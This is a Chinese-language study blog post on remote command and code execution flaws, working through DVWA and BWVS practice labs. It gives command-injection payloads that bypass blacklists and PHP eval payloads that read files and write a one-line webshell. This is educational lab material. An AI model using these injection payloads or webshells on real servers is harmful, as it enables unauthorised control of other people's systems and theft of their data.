远程命令执行与代码执行(remote command/code execute)漏洞总结
文章目錄
- 前言:
- 一、基礎知識
- 1、命令執行漏洞
- 常用的命令連接符:
- 2、代碼執行漏洞
- 3、PHP中的危險函數:
- 二、靶場練習
- 命令執行:
- 1、Low級別
- 2、Medium級別
- 3、High級別
- 4、Impossible級別
- 代碼執行
- 1、一句話木馬:
- 2、獲取當前工作路徑:
- 3、讀文件:
- 4、寫webshell:
前言:
這周來學習下 “命令執行” 與 “代碼執行” 漏洞;命令執行漏洞與代碼執行漏洞沒有太大的區別,不過我們在學習時還是要區分不同的概念。
一、基礎知識
RCE,即 Remote Command/Code Execute:遠程命令/代碼執行。可以讓攻擊者直接向后臺服務器遠程注入操作系統命令或者代碼,從而控制后臺系統。
很多人喜歡把代碼執行漏洞稱為命令執行漏洞,因為命令執行漏洞可以執行系統命令,而代碼執行漏洞也會執行系統命令,這樣就容易混淆。其實兩者比較好區分:命令執行漏洞是直接調用操作系統命令,故這里叫作OS命令執行漏洞,而代碼執行漏洞則是靠執行腳本代碼調用操作系統命令。
1、命令執行漏洞
Web應用有時需要調用一些執行系統命令的函數,例如,如果想測試 www.xxx.com 是否可以正常連接,那么Web應用底層就很可能去調用系統操作命令,如果此處沒有過濾好用戶輸入的數據,就很有可能形成系統命令執行漏洞。
示例:pikachu靶場提供了測試域名/IP的 Ping 功能(命令執行漏洞模塊),并將 Ping 命令的執行過程顯示出來。下面測試域名:www.baidu.com 是否可以正常連接,如圖:
通常這并沒有什么問題,但不要忘記命令可以連接執行。
輸入:www.baidu.com && dir
在知道了系統命令可以連接執行后,如果 Web應用程序沒有過濾好輸入,就變得相當危險。命令注入漏洞本身不會導致系統受損,但是攻擊者可能能夠使用提權升級和其他漏洞來獲得更多訪問權限。
常用的命令連接符:
Windows和Linux都支持的連接符:
A|B 只執行B A||B 如果A執行出錯,則執行B A&B 先執行A,不管是否成功,都會執行B A&&B 先執行A,執行成功后執行B,否則不執行B只有Linux支持的連接符:
A;B 先執行A,再執行B2、代碼執行漏洞
代碼注入攻擊與命令注入攻擊不同。因為需求設計,后臺有時候需要把用戶的輸入作為代碼的一部分進行執行,也就造成了遠程代碼執行漏洞。
例:
讓用戶輸入字符,我們來輸入phpinfo();
發現直接執行了我們輸入的代碼。
查看代碼發現是 eval() 函數執行了我們的提交參數。
3、PHP中的危險函數:
命令執行:
system() 輸出并返回最后一行shell結果 exec() 執行一個外部程序 shell_exec() 通過shell環境執行命令,并且將完整的輸出以字符串的方式返回 passthru() 執行外部程序并且顯示原始輸出 pcntl_exec() 在當前進程空間執行指定程序 popen() 打開進程文件指針 proc_open() 執行一個命令,并且打開用來輸入/輸出的文件指針代碼執行:
eval() 把字符串作為PHP代碼執行 assert() 檢查一個斷言是否為 FALSE,可用來執行代碼 preg_replace() 執行一個正則表達式的搜索和替換 call_user_func() 把第一個參數作為回調函數調用 call_user_func_array() 調用回調函數,并把一個數組參數作為回調函數的參數 array_map() 為數組的每個元素應用回調函數了解了這些知識后,在本地搭建的靶場中練習下。
二、靶場練習
命令執行:
使用DVWA靶場的Command Injection(命令注入)模塊。
先從Low級別開始。
1、Low級別
查看源碼:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>"; } ?>可以看到,low級別的代碼接收了用戶輸入的ip,服務器通過判斷操作系統執行不同 ping 命令。但是這里對用戶輸入的ip并沒有進行任何的過濾,所以存在可利用的命令執行漏洞。
用&&來執行多條命令,構造payload:127.0.0.1&&net user
執行成功!(如果存在亂碼問題,把DVWA\dvwa\includes目錄下的dvwaPage.inc.php文件中所有的”charset=utf-8”,全部替換修改為”charset=gb2312”即可)
2、Medium級別
源碼:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>"; } ?>可以看到,medium級別相較于low級別的代碼,增加了對 && 和 ;的過濾,繞過也很簡單,不用 && ,直接用 &不就好起來了嗎!
&&和&的區別在于&&是執行完前面的命令然后執行后面的命令,&是不管前面的命令是否值執行,后面的都執行。
構造poyload:127.0.0.1&ipconfig
繞過執行成功!
3、High級別
源碼:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>"; } ?>相比于前面兩個等級的,high等級的黑名單更完善了,但是由我們可以看出來他只是過濾掉了“| ”,如果用|后不跟空格就可以繞過過濾。
構造payload:127.0.0.1|dir
繞過成功。
4、Impossible級別
源碼:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$target = $_REQUEST[ 'ip' ];$target = stripslashes( $target );// Split the IP into 4 octects$octet = explode( ".", $target );// Check IF each octet is an integerif( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {// If all 4 octets are int's put the IP back together.$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";}else {// Ops. Let the user name theres a mistakeecho '<pre>ERROR: You have entered an invalid IP.</pre>';} }// Generate Anti-CSRF token generateSessionToken(); ?>了解下幾個函數:
stripslashes(string) : 該函數會刪除字符串string中的反斜杠,返回已剝離反斜杠的字符串。explode(separator,string,limit): 該函數把字符串打散為數組,返回字符串的數組。參數separator規定在哪里分割字符串,參數string是要分割的字符串,可選參數limit規定所返回的數組元素的數目。is_numeric(string): 該檢測string是否為數字或數字字符串,如果是返回TRUE,否則返回FALSE。可以看到 Impossible級別的代碼加入了Anti-CSRF token,至于什么是Anti-CSRF token 點擊 鏈接 查看。
同時對參數ip進行了嚴格的限制,只有“數字.數字.數字.數字”的輸入才會被接收執行,因此不存在命令注入漏洞。
代碼執行
使用 BWVS 的靶場。
1、一句話木馬:
輸入
${@eval($_POST['a'])}蟻劍連接:
2、獲取當前工作路徑:
輸入:
${exit(print(getcwd()))}3、讀文件:
${exit(var_dump(file_get_contents($_POST[f])))}POST:f=文件路徑4、寫webshell:
${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))} f=webshell.php&d=<?php @eval($_POST['abc']); ?>
測試是否上傳成功:
成功上傳!
🆗,關于命令執行與代碼執行漏洞,這次就先總結到這啦。(●’?’●)
參考博客:
https://blog.csdn.net/qq_43625917/article/details/98802320
https://blog.csdn.net/qq_36119192/article/details/82917250
https://blog.csdn.net/jpygx123/article/details/83276533
總結
以上是生活随笔為你收集整理的远程命令执行与代码执行(remote command/code execute)漏洞总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 上传漏洞学习——upload-labs
- 下一篇: Bugku—web(一)